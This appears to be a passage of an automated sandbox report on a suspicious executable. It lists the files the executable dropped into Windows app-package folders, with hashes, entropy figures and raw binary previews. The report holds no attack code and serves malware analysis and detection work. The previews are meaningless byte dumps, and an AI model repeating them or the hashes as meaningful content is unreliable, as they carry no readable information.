SHA-256:	22B53D8F116EBCDC5A2B3685D6FDE4972BC215FD471FA35D9926251881BBD50F
SHA-512:	B57A6DD0CFD173ACCB9E3745AB4AE4FDD8A5C2A0D5B245B7E0F4744D4A6B73A03DF9D819A56EF32564DFDEAADDAEB81EFE9E79838D349B336755A8491D60AB06
Malicious:	false
Preview:	.......gDQ.4..E.\|.9..A6\.J)........sf...#A..~...........A.I..l...........A....7i....+..HT.W..G.F.Kl.p..ZM......N#V. .6.vF...#kES...m.79.. W.w.Aq.....(.L.n_U..T.cT.%)'..au.._.[C.]...F.r4..]..s.%....3...g6.2..@.O.>0....#.......>...&.....t.?...+._...5..{..#..'.a.\|!8~>...M.]..?....B .(.}`..Ep......U...v..q]..i....e..p.I.b...B~}...1/...).M=^.V].r'}....];.o..l.o}WfP....)A.r.\|....f..x;1.6}.;M..R.d...9..S.<G..f...pE7.G..op.Q.X...w.B.5....c....eF....^.......Y.p..&.T.....B.X\-.[..............de)..p.Q.=[.......(..../]..[....m.......t..[....=.../xH.n....T.H....e.....zt.~1..L....z.....-0..jn...?.G.....XS._........b]`..Gq.kg....H....e.....1.$P....6..o...........S2#!.....t....n.GS...........q.G...?.....HV..&y....M=.....fp...U.{.................D..i.i-..i.@.lp?<.3$.J..@#Z-k..i)..&.T..!...k.....(............t.v...'.//.{W.uu..].$.{...g............h]'G.$k.y..~..2...`U..&..P...{.1S$.`k.;...F.P.......GG....I...}AL..'....?eB. .....,9....6.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975783456716541
Encrypted:	false
SSDEEP:	192:iUkRlCOBxkhCeXFcoYaeAcXGAcMtMDq9Ht:kCOz7oYEcXGO19N
MD5:	79C1E36FD2B318FBD719C3FBCD40E1D3
SHA1:	193D9505BBB280BEAA7B3F38DB6F097F5B977CE3
SHA-256:	88C1791B80A93EA3C0893024F878034146921FCC72D4962D3BDDBD3069410C0F
SHA-512:	06B33F230F4D4526AFBFA91B0A5827215011FB947C294A961B672F0A01E4DEEC8CD2B4E8E9E708DDFD422B0434B2AD36E3F33DE75AAC5B44F86A32990EE01148
Malicious:	false
Preview:	regf.>]p..[4Ez.....W.16.4..GK.k.Z....:K.c..8.'...ni../.c......G............t b~......r^^..t.T.0Nol..Xk'.r...6.5..s...f.U;`......HC..,$..o.7..q..\|..K...l?_~..w+...S..4.e,\...P&.tg..L,.".=."..q{gox}...."..n]>..&.....R;.)...O....Lb}.....n...G.+.n.c.bi.8I.dn.%.].t.Q?f. ..'.s.Z....J$\.t.#.}...Z~D.......8...2%...o9c....&4.IR..J.l..\}..R~.~..wq..D.&...A.h0.D.n..F\|..B.p.}.<.c...,.S..IJc...L..(9....X."......~B....{..N...U.....H...&..H'..i..w...o..9..0..8...:.,.v._'._.....Zu.H..`.q=..z..57..5./>X..:w......6..n...X.U.......)o$:..<..x.co..O.......I.7.3..&.N..'.a...U.....XZ..K..~.<...]..W1F. .4..i?.z8:..I.5;V.#P........>-s9h.H.]...fQ.\...y.p........9...h..+Y.%.j2...Lq9.e.%..K.Z.\|....`oL...a.].R..$.*s..."..K...,..(.7s.......q.]<p.Lc.~3..0..;Ze\|&tJ.n..~..+GJ.z......g^-A....>Y...{v.c..K...3...<..m...'F.'..8-..53P.j.j.....fo..c.....-../..)......,.\|. .T.}....+...j....MgK.!..blV[...a:P....TF9XV..^....x..G.@e..w.h6..g5~..i.Y.j.%.N.V.B.>A.ve

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980481785903454
Encrypted:	false
SSDEEP:	192:5gakS6AMcvfLHvdbZ3HD5MOchoKSe8OLcnccfTm0JerJNv4T:S9S6k3LHVtPTKhL0Lm0crHwT
MD5:	43CDE13966650C65465363C45FEEA685
SHA1:	EAE612CC1EF58763D59822A85A43CD96A99FABB5
SHA-256:	14CD5B250B5405A53B191DDE6AC045382A7363A3D00B11F78F379E26F0441C8B
SHA-512:	54E1B3FB15E490765BFF6DE546A9DA8B8A8051829DD0D654F5B95BB8A20E97DE8FE5DAC9AC82F2F7C4E22CA920A4CC0789BC1FCD4CB89D0109C6FE04A01475CD
Malicious:	false
Preview:	regf.....'....5#......G.t....n.....0..H.9.....-.G`.M=........i......Z.PO....$.f..zJ.....QiC....#Q..W#.....T".H^.M.x..c......M..`...pQ.(......+<0R.....s....NT'....Yy....~6.\....}.^a9.........wekei8.c......5...5T4T.....#0Z.6J.O..9]/...Q'6ih.....`)`...&LH...@..japA..e.5"....qEL.N...".......:........x.GRI.."...L.j..1.-49F.i.H..K..l+j7...f.8.....fm..}.?.s..}..Q...P..d..U..vn....j.`...P..2~........ H............?.s..4......y.L.. .c.f.....8(...A.....\|.U.....e....).Z...d./..I=BE(.JCh(....B..k.%..Y%i.j....8..PP.@..u...'.jP....]..#.=..4.F.<l:..=g...^.?.+R.HR~y8.l.B.?U.c..#.$..&z.Cd.4x8;...H.,..!5.R_.T..ou.H.p!.6.t...Q....NM....t$t..i<<..z.......I.w.i.a...\|..p....?..'<.!.....];..x.K>................I....%...B..g.....9.[..7R;R9!b"...I......=T....Q...'..v......$X.\|.$W...j.!2....y*...<F._.)O..y{`....'..Sp..7..t.2.....a"...cWB.Lw.$v...>..k..........9....GF6.. ...v!k~............;1.Mt.W.3g....#s\|(...=...'.P.8..=..N...1{TL...%6..UW0.El.sf81C8T<.p7ND..W:....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974449734473153
Encrypted:	false
SSDEEP:	192:16GcdJI/+x6gqvl6kRTZY0qao0VTQWaddWs0AsXBSe:16GcH6+x6xFQBaocTQXf6Qe
MD5:	710CA623636E07E70E25AC4F257760CC
SHA1:	FB87463C7CDA6225C3849E47E0B99F031463A1EB
SHA-256:	B3AA1EB1B36882CB5DADA5607220B6D6F87BEF46C11B2712F9EE6F738A7436D6
SHA-512:	CA8DE1C7C8B9EE632A37771E7A892AFDC200B18D6780277F474A147B14182C507429FD54B069B867904DA54D3F2FA62491B0BFEE6A2038A079CD02C7012D56BB
Malicious:	false
Preview:	regf.Y^....A..7..p.@f.7._.U..?..).:..Va.k.d.\|!hE.X.>.R.u%..s....E:...'pjza&.n..:.)._K...O....6.BP..n..Lp...r...II..~...X......%=.0..;4\.. <,..a...I.nO.;n...<<D.i...I._H..jP.~H.....f...Tu.....P$.b..a{Q..@......1.uY.b. .^.a.A..}.43../...\|...:.6...P.(...g.y.J..A.5.s.U(.......O....v.-..t_._.R..!.........$N....Hh...LY..g..C..p7p....I.Xv+...:s.s.{(...+..`....pg~.x..Jv);...}.+w....[o.j....4l...{H..=M...@.p.../.....@s}.&.\.. .<.Kj......r...7.....r..2\.P....;..5.x?.b.'..#5.....k#k..}....k?..4..\.J.i9.]..1..c1qse2sK.M.$,..s..b.K.2I...r.+...zu..D.@tOf..W.sg].....7(....LEuc.,..3..0..N.#:q#od...V.E......!3..kD.?.Q.~....jX..#h...x. dy.6.K..%...8..!(oI\..OU.Q.@....PA@.h..mX..%.[.......f....(...I'6,.YxY......Az...2..S.za^....J<.._..d...Y..>...5.b!.^[....W.....u..-3..W..>.(j.K.K.:........2.......G.....U.i.\|%L.lr.B.=.DAe.0..q..Z.....)o..I:..../:t...CQ..# ...S....1...4.D=....*.R.... ....".[tX}.%......t.....0.._..S.&.>.eWv.~n{W.....L..;....B..Tibc~d..g.b

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980214158997133
Encrypted:	false
SSDEEP:	192:ijA51HgrZvtwHczCUVuFJqepeV+6n4tYRTqOwQkMkBJPw:BvHoZ1tCUoLqepKUUT9
MD5:	EB2E93DEB06F884726C13E50BCCA36D5
SHA1:	C4E6806CC2ADEAE21D1DC374AF71E4F6B79D4515
SHA-256:	45FEB81411962D2008F9C2ADF5F2EE65B54CDF6838917E52787053D8E69E639C
SHA-512:	6DFECEE78E12BA74844AFDF7DA2F7048516443361FE2F5D34656B3434D170574152D6ABBBDD28D1301AF59C4E7EF34276790B186704767C1DC6211AC86CC4C90
Malicious:	false
Preview:	regf.........E...#...j.Z-......;...=_.@...n.;..<.....$ut....-..........%.I/..8U.h.to..u.....h...T H...;..YWVj5.t.K...A:......#.....q...J....l.....a.5d......$......G.P.....LQ(N.:.G..+..B.k.qJ!..z.A...I..C.9..n...L...z^#.Il.=..&'.{.UO.9...Y.{P[..z.x^..K8.7.m.}.B..6......l.......6.-....?.....gO.)s.2.f+.......@TT.5Z.i.p.h.3Wy.W...,..`p. u..e...cga.'....b....s.....k....!..Q...V..I.m..5Cz5k..2.....@......._....Jv.p=............E..2.v......o..~j..J...y....\.i..\|..;I.`.......\|U..."...3...3ElU..G..G...2..b.i.#.. ...........=IH.....\|..hBV.0..i..._..bo.M#...+0W...=.r^..(..18.H.C...k.-Quw.M.'(N.,o}...Y..G.....i.r.k.'R..p.ad.^.H...nL..U6..a*..N......s.3.vE..h.......%....w.v. .l..5c.4.eP..vt..W..G..N(L....3>./."b.4.i;....e\dk..4H.....=..<.".....?..x...&@..nK..d<..D...Ud_.f.e.){a.z.W...=. ..(V.x5.......e).P.k.<S.."....m.=.....uf..p.A.6.....E]#..."3..h"..e.~.Y}\|..o...>h(yL.-g......5.3d.~. ...D.\.o.$..%..A.s%..0...]Z/.\|....%4...4..e.C-/...k9.sio^. .V....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979980126545801
Encrypted:	false
SSDEEP:	192:S4EpxPNZJtwycJjDTqgKYgdYswpE4twzm7qXXLc4ylhgwsfsX5:RoxP5/cJjfqgKYdswpltdqrOL1sfsX5
MD5:	624AA5C566EC4605AB23C77FE57B42D1
SHA1:	F995FD8058E37639D70105F2F044D04EA7260F65
SHA-256:	3A2ACA284AEBED795C9197A9D5DF9F30B10DAB23FA75621266D66057A362AE2F
SHA-512:	52D3AB7EE0BCAF4778FBC7A72D98D60A18090E233C94C06158CC1203AC3A3BC1A31D2B7BC442ED587228876DCFFF732796080EAE2DC44358C73F8162DBA94F7E
Malicious:	false
Preview:	regf..3.....Nv...%.\m..<v.....d.U^.Za...Wm..%.w.cg.h.f..Yf<1....pPw..E.DK+.qGm.=h....z.}.~.V.x.2pt..........N^.T.....x.pM...b..=.h.....j......]5......;'c....(..3.4uw......y".M?.o3L..\|.....O&.o0.~...h..G.~%.xUn^.w..I.%...I}.w..uj.jZ..2~..!..$......k\?..@.8..=..s..#.`..tI..h.6@W.VBJ.r9.......,<r...".Ds..z..s....6...(..M..T..c...~...K..o....X..Na........[oq....5...om...../zhO..f..6.MF.i..F..t..m.`X...i...XC.F}.M.W.....?.x.........4..N.m....G.]...0i(..>.a.!'..........O.-..BW..5.8n.G.,0...,../Q.CR..u..7.M2..b.%".m..F%........NG...=.'yJ.TN:.....X...?..&.r.....<.H..5....x.......a..h.....\|.!....uqQ..a...W.s..6y.T..Z...L..9[_..E..},..V...OE.K.* > .q....S....#=.KJ.,.....H....\|M..7.1.^..ZV~..\..-...Ib.n....7...{.O.~K'...W?.p...... ...*.?..`..!.5.W..S3.6.~..f~.O./B....,o...5.9C{.....;>-.T...)..T.xY.aJ.M1....o5.(.g...]...B.Q.H.O{v..:...............0hy.]..h.<5..f.K....\.F=.T..i.....g...,;(..t&..BW.}..K"5.1;.D,..G.8o)P.l....%..Q...n....#?u.....U.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3306068570247391
Encrypted:	false
SSDEEP:	3072:Xz2CpR4TKUkRhx/L14CEwA3C1c/BNex1HYtu8BxFdGqDvlQAgrl3aJ0an:jWKUkJx2Luc/e4XFdGaqAgrY
MD5:	74D0C899B175AB83F04F6C12001D6B2A
SHA1:	9ABCEBCCC914E41EF051CBD9A177652A00C69C9B
SHA-256:	99854CC91A2078CF8277C4F300BFA813BD4D64190C677F2728A0F726535A16F1
SHA-512:	384E593346852EC39F7CE5E6332DDB8D5379239151205752D8282DA3032C5A3B4A106BC3C774E57936D18C5C7955420E538D4D39D5511F3538C04DB703511E22
Malicious:	false
Preview:	..4t...d.k>...s.....x."R......I.s-`..,9...!...aB....pK....s...Z.=-..9.....+LC.p..:.gl..w.7....(..H.#_\....^c.M.wT..f...n.Tf...r.=.Y.5......u...1..^1.C....l..B..`..h.R."e._.C.a8M:...3......%kR.:..e5..._.......&w-I..n...zq..j.B.$.]...T~.lo..K7.._../i...RL..."4......P.....wZ)..S.Au....S....'..o.a.zw......IK...u..cI...H..E..B%kc......u..u`F..... M{...4-EZ..3d.\....9.u.+Q..x...}.I.( ..M.......l.0...3.l..a..l.H.....;..i.9.>;...i..tJi%.9...z]M.........t1..[.kR.7....oJZ.?tW...0}.......CrL$.S..x...c.z....... .......=...5j=.....p......jru..\|..".o.MU...$...j.0.......rz.=..:.W..._..,7K.{..B...d..%.b....8.[...I.P...\.....n.=[1..s.6...Mkmv......x..x..X........W.B.jw.......\.$z...4!...H..o,.d.....X..........7........0..0gY...4.J.....}...?.M.Y.b{ Y;......P....+Ppk19\X90.....MX.6...DP.E.\|.wa$^..4....V..f......V...P.f`..^%w.qKN...;A.q.>.b[..@&._...C....N.].;.......g...@M....z...8>.....Fz./....:E.+...:...._yEI..q...Sa..\B...Bs..>A.{j.#.\....aV....l

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9888546485468845
Encrypted:	false
SSDEEP:	384:26RhShKz9/fq7WkS4ja6+wO1oI3KHFPgF6+WS1n50+rJf:lyQfq7WkS2a6SnwYF6+/h5zZ
MD5:	74EA7C128D27EFB3D2B1DB94D4B4CE41
SHA1:	212316E33BDD8E284E9ED34F26F07379A35EE452
SHA-256:	76AD7DD41B879D1818CDC6C27732129F13193106093EFFE773E04DEC5E679588
SHA-512:	A7537C9A9A79CFE9101F4B63971845C658D8064BF4ECD79C26FD69372C99A2DDD2A30A0DCDB79BDAD70B29B3217D1D06CB7CB1767188EF2457A39B76CB310E31
Malicious:	false
Preview:	..}..y..$.y.t..c....u..........&A.... 8...*..a.F.....`..a 0.sy.i.at.j....>.......O51....R..r-.......,..I@..9sa4.A4..=g4....[........!-.U..W..)yR5....@....E/....w....o.^...n[Tl..HC.c..U.~H........y...O...,!.....`m-.+. R..."....5..;.E(....s...c_.\...T... =...............s.E.....i9A.........t..m..>...in..Sb..y.p.s+....Km.2...[...^us..S..!.M..z.$$T..$.Z....;..`....h.e..~..O#x'..a$.0....G;.J.....]).#.8.4Zh.....\|LgVb.`.L0..XL....s.RDf^.b...9.+..n...~.......s.Y....B../sOA.....O..(4.. .=.o2-.~1..;..R$.w.}qE.rRK..u.n....pX..x....x.....+l..j.!...~.).......:...fs.......5&L.Bc.yN.gCed.....c..YZ...z`iP"N...&US....w....3.SSPq..a\|r....%.+S.L.4..........f.W........T\.....X....%.....M............V\|9+...sF..a...-.B1&L...[h..\|,e.;..@...e.,:..RW...^A..A..c...\|...:......./.`....%.I....J.a.S.....W........Q...m.M .da.4@Z....^../.R.6..i...G..J.^b>.:b.........`..;.\.%u.{...LGhx....._Ai,.e...Th....t...!)g.\|v..)#y..Q1......>'...e...u.p.[...T.6.........!.M.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.891932699934101
Encrypted:	false
SSDEEP:	48:2d27NYPjMMmmBc+oDw/23KXmsdas6XOfPP4c3mtHD:p7WPjMMCmEIVd5MOXPpAj
MD5:	610F966C67BB2AF71A350C8BF5A5975A
SHA1:	A1EC4DBD929ABCF3683578F2E7BFE527F5F0FF83
SHA-256:	A15CC591918A2F4E5587E7E537CB00E568FAB8E3473501C7C2152E08CB549D36
SHA-512:	ACB0A894951B08B7E0F8A53AD1C510A4F07E8B9CEB0CF9C54222FFEE1F0DC890CE8CBB8EE1D63BC27B1A52797B75E77A918CFB1A30DF9049FC68E446C699FDED
Malicious:	false
Preview:	h.t.t...y.U.>E'.^v.Q..3.q.........3<}7.\|....k.8.w!..3.;Z\$......p.Jq..#.....9.a......V.HJm?....x1..Y....j....L2./..Ffn.. .F.7WP..Iv....Ti...<M..R...l...y.......r.x<.......\..?..aN.........._...}L.......T@...t;....g.i..b..i.....d.{.Xqd.]tTv.^.^...#.&4!..T...Q`.....:..e...W.v.c>.l..h..yc...B#b..8..,....p.....;...0}T.s3....G..\9.S....v.#...........p..$.g.3..<.0K..3...dRI<..>kP.j.u_.c...d.H..g.....aMq.1.7..I.....\|A.\|'.d\1[#..b.V.....>.....u...[X.j.[.rh..x.....;^..q.=@s..Z...Jz.....K.-H.aqKS..%US...J.;Z(...i..(R.....\;.p.#`...P...h...!K=.bl....quFI...g.s.Z.,...]..0E.H.C.....Z....m...6...Fg...[+..'.}.Y.{)....&.>......~E...%Du...w(.G[....H%ldl..i.p...H:h3l...)..].....$#..Cf....Rr.$...).....=..=(0.j......(..R..,.E.M..,.pv.?..PnM#.....x..z..^..V..3.XC.Pa4+q........*..y......]yb.....{A..f..............w.....^.R.l.Rm......+..`..O....t.p.c.z .....s........z.'..<.0...Mpri.....\|jL..p...z.\|#...)_Y.'...<...6#..#....X2$].o.we..-.\|..)..^...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.794994835240416
Encrypted:	false
SSDEEP:	24:lmBXKizn7LiHYVCzi3ELAQWav9JNOKMWCAxNH8nl//r0PLbD:0KqLcYu9f9POKMWCYglHw3D
MD5:	DCF562CD7DB2ABC75AB79FFC0706F883
SHA1:	851B5305DB814472A45C00D902535171FA2F91F4
SHA-256:	7E7CC38CD569D622647A6C08F41DF4F30785FBC5312AE2D22486C32B1631FAF5
SHA-512:	B72597068E40141A9B299BECFBFAEC8021693AA843C87EBD140E9467F7C02A7F368FB2DECCE0A970B188FF34926520ED530265867E91951B478D1C323120C53B
Malicious:	false
Preview:	.....NHD..ou.2..9.bvM..4m....Y..aDB.M.t...q?..\.UJyE.2.T.....p.E...Sn]......v2='`v...P".OR.../&..V.....'5.\........r...Su.Y........{...G.....Su...o.C}-...{.M;>....IH..\..l"...d.R#.u..=........1.q....^m.s.v..c..0...[.......7#l..k.&.X..\|.....\|G.._..G.\.:&:-..5m~x .1..g..s@..f.._.r(>.:..1^.!...AM.....<....y,..iU-.O.z.:@y-...'l.54..(..8OA.Mb@/..#/...."......Cx\q%.f...@.ioQ}.C.....Nv...I.,....~..KN$.U.C7.t.0.I.".OG...8......F]_}....o.rm.....P.&P....{M.&W&.....8...'...`r.{..4.Q...}...T...c:.........9.,.H..HKk 0.........L.ej...x...0..xC...g;....U.....X...G.n.;..0....k.$!.. ...\......>;c...F?...A.@.4LSo.i.Qy.J../?...!q.g.o.&..'l.z&....V..w...D%.Y.B3['....F...W..L..3.G...0...T.l;?r.nG,?%.=k.l.C^...C@...7..Q.$4....zX....l..x....x...Hc.Pt..S.......3..}..FF......s...Y...Y]....8?....].U....(./.U...D`>g.dj.*.Yw".igm.+..L..3D. V...(...Hr8$_+.C\.0..v......C/+.#...\|.c3<...[.nT.8.......3C........d.S/b".J46..'f.\|Z0P.?S.k(k..0...?<$Qpf?.....H..1

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.318944422747067
Encrypted:	false
SSDEEP:	3072:dN29jBEdbu3FAdiGuvSCRA7rqnV/tRGmQ9YzLpoiRpJGULcvM+4aPao:v29EbKFxlngs1tRnQ9YzL9HL8M+H
MD5:	D772918D71E1B9159988EC0AB25B8BA9
SHA1:	9FC511B1202D47DE722A4D3FF87D7DC4C6461CDE
SHA-256:	53D987F9C4A9340580B2AD7939BBB1C4D1FE0276CAA9E4A9F1FC6717B18A7401
SHA-512:	7397ED395637B25751A1089109F94A1D899BEED935FC93E420296914BE8B62E0E86ED4A0935E37AE9E921458EAB95BC1EA4F16FE5917F20F0D7FC160601CCA1D
Malicious:	false
Preview:	./......V.jZ...e.\..[:........O...f?...Ah m....xY.<r!.3.H5..:..U.......`.%..f.....<...b~.@]AU.-].;.....f...=...:....`Y.....5.x....E...../....T.....!c.&.......'.2s....zR%/w..(.......Td.`@....dol.@.8...:....L[ ..>\|.%..B.(.\AItV..57...x5...>....fdZ.X'...Z.0'..!\|<.I..+..$.........N....H.F..Q....H...>...E.~+.l..........oV.o.[......s.0.}._A.b..6.]......KC;x.j.[..o\<E.(..`6.2c..2k!....?[..Mk....Lx.... ..u.@..6.........Zw..y...0..P<vR..p....N..nl......i........B.....h~.D..!]B..~.B...wp..3......A/m#...<........Gl.&U.=..oN#.5<.y.......%.X..c.M,.yj...gd...L".e..... . ....$.C+p.!rk}j..C.=('..HML....Ut.'..`F.rz...*muq..w..{(...!.85..ScI.(.......I...#,.gCJ..=f5mq_.X.^.F&.D.....[hw}..(&..(...5...Gs...l...+,h@D.....r.5...t.w..C2..... ..j.$...n.5..^.Y.b.?..H.AbZa"......cs.... ...;.+f..d6[....I.O...v...L....4.;.(......0w.I...#Y.(.&H.t@.y..yU..WY..'y4R.!.!1H...?.r.S.rC.j.>...}.-..g...n.J....<.N...U-s.ixnM..8.............h...7.Y...p.M.!.P..W.X...."

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988776561680839
Encrypted:	false
SSDEEP:	384:AirLqUI7iEQ6+/QRc1KhsU88ReTvYxKt2Qrmdl/wtNhbWwDVt:xrL+iEf625Z8seiU2QrmDsNYwpt
MD5:	C065A737FD708D5551F8C51EAA0DADD5
SHA1:	48AA0D5BBEF951CF6135B6442108BC45898EAE59
SHA-256:	1CECF419D609801FEABDB493360545FCE2A05DA699A86A513908E61EFC5CAB28
SHA-512:	4D1FAD6682D6E44E1914E2D95B1BC44EEE0935B7B8962E4A422083501550A36E129419637C1CD0CFB1964652CCDFF65CBB245C2807015710A19341D76ACDF1A9
Malicious:	false
Preview:	@.v..u6...S.>.Y...O=...&m....@.-..}..j.[..v#.BH.(...........c5.....i....D...X.w2.;.......Ue.9!y..OonU..r\.........w...`....l....".....C.<vI...v.e..9....Du..?a..l..BD..4.zm..*y)zU......it.......}b....X.t....(........d..(4....I...@..L..W...pI2(...z....f7.F[..RU...A......a..cF9....][.....iGo.....^At.}.=...K.....#.J[.......3\.x..G...~.....j..Z.2m.0$.d.z.r(...<.a.s.X.W..PNp!.....4.._a..=........HA.....g.B....?....../>"&k...&R1z..7...dl.y.g.E.Q...%....{.8C....."..8..n.......9S.2..t...%. .....\|.vo..&......}n.....[.F...}Y.f..=.......e.P.PGT...866....X[DK.l&..&`W..'...ML..J..bE...>c...@.B\..!^..]..KU%F.S.a..;o.r.......T..9..%..1.F..&..5m.o. .H....."./.....w...YY.e.m.Bu.c..p.....F..,..z..,.e(..;.../..8.(4.I....}.D3...!>.3i.r%....J.".\.k............Ig;.j.m..oC.[h.ny..[.\|....S@...F...F..T'.s......r.J.$v.[1..a...g.."N..N`.S.....n.....2!f.(...r6..'r.92.O9..\|.4..a..u`.u.......\|\X.k.......M.&..I...N..F....Y........6%...s.%.:(.~..D.`z5.....l..i.]

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.1135129965510224
Encrypted:	false
SSDEEP:	6144:ICxvFnjQxLBTsUyQnRlEyILDu9D8KtstsM:rt0ZBJyyYLD8Ud
MD5:	DCB686ED09A0E892D461ACC0307A7D09
SHA1:	BA71B98D263EED6FF84DDB9C65C194F3B5F15410
SHA-256:	EDB03DD0E57268BBEF58225B52E5D0D9FD1E199776E68BA04C2C841159FBB6B3
SHA-512:	B1C158783731D8F8F4F883A6C1D0788C0CE1615533D641C3A546E3A5C6FB386A66D5C057DF508C8F71495A0074A2F872370BFF04CB0B76396CCF811EA0972052
Malicious:	false
Preview:	......-Q..!.u..g.....}.......fA.6..<f..........a..u.(h....j6......j.X]..>..S.3..4e..Z...`...x.G0..25.......s..0/..{...T5s......d.6.+.O..V.&....\.4Z.]...3~..he..3.Gv...E.g.2...r?......$.\|..y..(.^..6.-X...'...J...z.+(..D.....$..V..k}.Fh........+...$.t.o...........0...N....g=o.o.../..th\|...Y..0..D..<ZZ6@....3...k..........1o.Q5.P... ...}...H..N.JU[..t.g>`..^r.5y;k.t)4]/aO8.&.65e..Fq..\...n.W..R....%..Y.w.W.{.}..y.s....6$.Rf.......:.._.F.J....v_}ku.;.6..D......J......m..i...a..NX.<.+..O....W^...4.)G#`.I.A6.I..s...}e8..B.........=/.0...h._.r..o)%.:.a..S.x.[j..7.....X.E.....Y...y`.%`+..^...N.>\|....;.q...+.x.=_.i>.L...WE...1.f.G.s.K..m.YYO.6.=..m....,.}.o...&.-.C....A...R.c....C..*#O.y.Ti..O.H.Q...Y..]q..F..}j.K1.w.$..2...Y....1W.N.[:U9~.p.#...P.&Xd.vh......}.F;N..hJ.Q.;...:.r"../P...\.&r...n.).$ms^....y...Iq..k.3.....@..e...}...e+b.....%^-....q....,E......Z0..$.6...^ns...l.d..(...UnL@....v...0.[..s`./...H.....9.n.QD....Q...uV.....\a..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988949480279115
Encrypted:	false
SSDEEP:	384:54N/tPGYPQQM2tZp/BND2YZzR3qyqNZQctvSHY9RqzhuYi456:GNVIQjZpJND/Zd5qNZQctvSHY9Rqdupv
MD5:	3663314C8964DB9118F4CB4183E0C419
SHA1:	D9B6575B2B125C8B03667F727D22B2DCBBEF5BEB
SHA-256:	27EFC0F4A4E98220FF12A60FD66DF452AC50E31EBD9D02108CFD72E53C56D899
SHA-512:	263DAF06268DCD868DD5B8722F9FD59098FFC46DACBD95D528EDAAFE5D121BB80A9C3A72E3E2EBECEF4AB812D9C957A460287A87A23D74B70BCD3AB15FD942A2
Malicious:	false
Preview:	..l....y..S..q......G...u."..cg.E.lH.X@)..ke.N.Z.q.P.....l.....!.............5..}....a.u..4,.V..e....x..lF%.k...p......7..nB..d.....H.......-.....2:..E.HL..t...dp.>.Z.)..g...V.....].7;K...=........+.!-.....k....;..........="..X....R.j.XlD.4Y....../..]...#......O.q.!..D......Vv.....h0)...E.1~.\..,....Mb,..X......%\..C...6..1=.... .=\|dS.W..q.CMO.....?k.2....z..q....f...L./.+..r.f.N.h.Hn.....2t.)..q......kI.. ...i...<.0...v#\|...9)..lLr...^tp....h...LV.\?..g.@..";(.M....m..6.."h..l.>l.6. 9.....%E....&.........#A.\iK.o......uva..l.$.'..B~.-1......2.j.&at.N...l....Ff.^...3L...e..g..7....H.[.}.j,2U~,...L...}..:yO...R....d.S.j...n.P.C........OaK..}...CX}.;...J.yx...%...p3....L.s....J.Pu......Ay.ZOK.dA.e.5~..r..x.j...f..'\..a..g."{..4...?t 